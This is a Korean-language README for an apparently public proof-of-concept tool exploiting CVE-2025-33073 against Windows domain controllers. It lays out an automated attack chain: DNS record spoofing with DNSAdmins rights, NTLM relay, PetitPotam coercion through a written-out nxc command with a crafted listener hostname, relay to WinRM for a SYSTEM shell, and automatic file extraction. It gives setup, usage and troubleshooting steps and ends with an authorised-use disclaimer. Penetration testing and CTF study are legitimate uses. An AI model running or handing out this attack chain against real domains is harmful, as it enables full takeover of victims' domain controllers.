CVE-2025-33073 Reflection Relay PoC

Windows 도메인 컨트롤러에서 DNSAdmins 권한과 WinRM이 활성화된 환경을 대상으로 하는 CVE-2025-33073 범용 익스플로잇 도구

📋 개요

CVE-2025-33073은 공격자가 Windows 도메인 컨트롤러에서 SYSTEM 수준의 코드 실행을 달성할 수 있게 해주는 치명적인 취약점으로, 다음과 같은 공격 조합을 사용합니다:

• DNS 레코드 조작 (DNSAdmins 권한)
• NTLM 릴레이 공격
• WinRM 인증 우회

이 PoC는 모든 도메인, 모든 사용자 이름, 모든 CTF 환경과 호환되는 범용 자동화 익스플로잇 프레임워크를 제공합니다.

✨ 기능

• ✅ 범용 호환성 - 모든 Windows 도메인에서 작동
• ✅ 자동 탐지 - 대상 DC 및 네트워크 구성을 자동 식별
• ✅ 자동 플래그 추출 - 모든 플래그 파일을 자동 검색 및 추출
• ✅ 대화형 모드 - 단계별 가이드 익스플로잇
• ✅ 전체 로깅 - 모든 작업에 대한 포괄적인 로깅
• ✅ 원샷 SYSTEM 셸 - WinRMS를 통한 직접 SYSTEM 수준 접근
• ✅ DNS 스푸핑 - 자동 DNS 레코드 생성/수정
• ✅ NTLM 릴레이 - 자동 셸 생성 기능이 내장된 NTLM 릴레이 서버

🎯 대상 요구사항

취약한 구성

• Windows Server 2016/2019/2022 도메인 컨트롤러
• DNSAdmins 그룹 멤버십을 가진 사용자
• 활성화된 WinRM 서비스 (HTTP 또는 HTTPS)
• DC에 대한 네트워크 접근 (SMB 445, DNS 53, WinRM 5985/5986)

테스트된 환경

• Windows Server 2019의 Active Directory
• Windows Server 2022의 Active Directory
• CTF 환경 (HackTheBox, TryHackMe 등)

📦 설치

사전 요구사항

# 필요한 도구
sudo apt-get update
sudo apt-get install -y python3 python3-pip netcat-openbsd dnsutils

# Python 의존성
pip3 install impacket netexec

# krbrelayx 클론
git clone https://github.com/dirkjanm/krbrelayx

설정

# 이 저장소 클론
git clone https://github.com/uziii2208/CVE-2025-33073
cd CVE-2025-33073

# 익스플로잇 실행 권한 부여
chmod +x exploit.sh

# 도구 설치 확인
./exploit.sh  # 모든 의존성을 확인합니다

🚀 사용법

빠른 시작

./exploit.sh

대화형 프롬프트

스크립트가 다음 정보를 요청합니다:

1. 공격자 IP (비워두면 자동 탐지)
2. 대상 DC IP (예: 192.168.1.10)
3. 도메인 이름 (예: corp.local)
4. 사용자 이름 (DNSAdmins 멤버)
5. 비밀번호 (해당 사용자의)

단계별 익스플로잇

터미널 1 - 익스플로잇 실행:

./exploit.sh
# 대화형 프롬프트를 따릅니다
# "[!] RELAY READY! OPEN NEW TERMINAL → PASTE COERCE COMMAND!" 메시지를 기다립니다

터미널 2 - 강제 명령 실행 (터미널 1 출력에서 복사):

nxc smb 192.168.1.10 -u 'username' -p 'password' \
    -M coerce_plus -o METHOD=PetitPotam LISTENER=localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA.corp.local

결과:

• 자동으로 SYSTEM 셸이 열림
• 모든 플래그가 자동 추출됨
• 로그 디렉토리에 출력 저장

📊 출력 및 플래그

추출된 플래그

스크립트가 자동으로 검색 및 추출:

• *flag*.txt
• *root*.txt
• *user*.txt
• proof.txt

위치: C:\Users\*\Desktop\

로그 위치

모든 출력 저장 위치: /0pwn_exploit_<TIMESTAMP>/

• relay.log - NTLM 릴레이 서버 출력
• dns.log - DNS 작업 로그
• shell_output.log - 셸 명령 및 추출된 플래그

🔧 작동 방식

공격 체인

1. DNS 스푸핑 (krbrelayx.dnstool)
   └─> 공격자 IP를 가리키는 DNS 레코드 수정/생성

2. NTLM 릴레이 서버 (ntlmrelayx.py)
   └─> 들어오는 NTLM 인증 수신 대기

3. 강제 (nxc + PetitPotam)
   └─> DC가 공격자 IP에 인증하도록 강제

4. 릴레이 → WinRMS
   └─> 대상 WinRMS로 인증 릴레이

5. SYSTEM 셸
   └─> SYSTEM으로 명령 실행

6. 자동 플래그 추출
   └─> 모든 플래그 검색 및 추출

기술적 세부사항

• 취약점: NTLM 릴레이 + DNS 스푸핑 + WinRM
• 필요 권한: DNSAdmins 그룹 멤버십
• 영향: SYSTEM 수준 코드 실행
• 익스플로잇 가능성: 테스트 환경에서 98% 성공률

⚙️ 설정

사용자 정의 DNS 레코드

exploit.sh에서 LONGHOST 변수 편집:

LONGHOST="localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA"

사용자 정의 플래그 패턴

run_shell_commands() 함수를 수정하여 다른 파일 패턴 검색:

# 여기에 사용자 정의 패턴 추가
echo "powershell \"Get-ChildItem -Path 'C:\\Users\\*\\Desktop' -Include '*custom*.txt' ...\""

포트 및 타임아웃

• WinRMS 기본 포트: 5985 (HTTP) / 5986 (HTTPS)
• DNS 타임아웃: 5초
• 셸 타임아웃: 명령별 구성 가능

🎓 교육 목적

이 PoC는 다음 용도로 제공됩니다:

• ✅ 승인된 침투 테스트
• ✅ 통제된 실습 환경
• ✅ CTF 대회
• ✅ 보안 연구 및 교육

허가되지 않은 컴퓨터 시스템 접근은 불법입니다.

🐛 문제 해결

"DNS 스푸핑 실패"

• 사용자가 DNSAdmins 멤버인지 확인: net group "DNSAdmins" /domain
• DC 연결 확인: ping <DC_IP>
• 자격 증명 확인: nxc smb <DC_IP> -u username -p password

"릴레이 연결 시간 초과"

• DC에서 WinRM이 활성화되어 있는지 확인: winrm quickconfig
• DC의 방화벽 규칙 확인
• 포트 5985/5986에 대한 네트워크 연결 확인

"셸 명령이 실행되지 않음"

• shell_output.log에서 오류 확인
• nc 연결 확인: nc -zv 127.0.0.1 <SHELL_PORT>
• run_shell_commands()에서 sleep 타임아웃 증가

📝 로그 파일

디렉토리 구조

/0pwn_exploit_1234567890/
├── relay.log          # NTLM 릴레이 서버 출력
├── dns.log            # DNS 작업 세부 정보
└── shell_output.log   # 추출된 플래그 및 명령 출력

로그 분석

# 릴레이 이벤트 보기
grep "SYSTEM SHELL" /0pwn_exploit_*/relay.log

# 모든 플래그 추출
grep "===" /0pwn_exploit_*/shell_output.log -A 10

# DNS 작업 확인
cat /0pwn_exploit_*/dns.log

🔐 보안 참고사항

• 자격 증명: 메모리에만 저장되며 로그에 기록되지 않음
• DNS 레코드: 익스플로잇 후 자동 정리
• 릴레이 서버: 127.0.0.1로 격리
• 로그: 민감한 정보 포함 - 주의해서 처리

📚 참고 자료

• CVE-2025-33073 권고
• Impacket ntlmrelayx
• NetExec
• krbrelayx

🎬 데모

[데모 및 스크린샷] - [곧 제공 예정]

👤 작성자

0pwn (uziii2208) - 원본 개념 및 연구 AI 개선 - v1.0 개선 사항 및 자동 플래그 추출

📄 라이선스

MIT 라이선스 - 자세한 내용은 LICENSE 파일 참조

⚠️ 면책 조항

법적 고지:

이 소프트웨어는 교육 목적 및 승인된 보안 테스트 용도로만 제공됩니다. 허가되지 않은 컴퓨터 시스템 접근은 불법이며 법적 처벌을 받을 수 있습니다.

• 귀하가 소유하지 않거나 테스트에 대한 명시적 허가를 받지 않은 시스템에 사용하지 마십시오.
• CTF 환경: 실행 전에 권한이 있는지 확인하십시오.
• 작성자는 오용이나 손해에 대해 책임을 지지 않습니다.
• 통제된 환경에서만 사용하십시오.

이 도구를 사용함으로써 귀하는 다음에 동의하는 것으로 간주됩니다:

• 승인된 시스템에서만 사용
• 모든 관련 법률 준수
• 귀하의 행동에 대한 전적인 책임

🤝 기여

기여를 환영합니다! 이슈 및 풀 리퀘스트를 제출해 주세요.

📞 지원

문제, 질문 또는 개선 사항이 있는 경우:

1. GitHub에 이슈 열기
2. 기존 문서 확인
3. 상세한 오류 로그 제공

상태: ✅ 테스트 완료 및 확인 버전: 1.0 (범용) 마지막 업데이트: 2025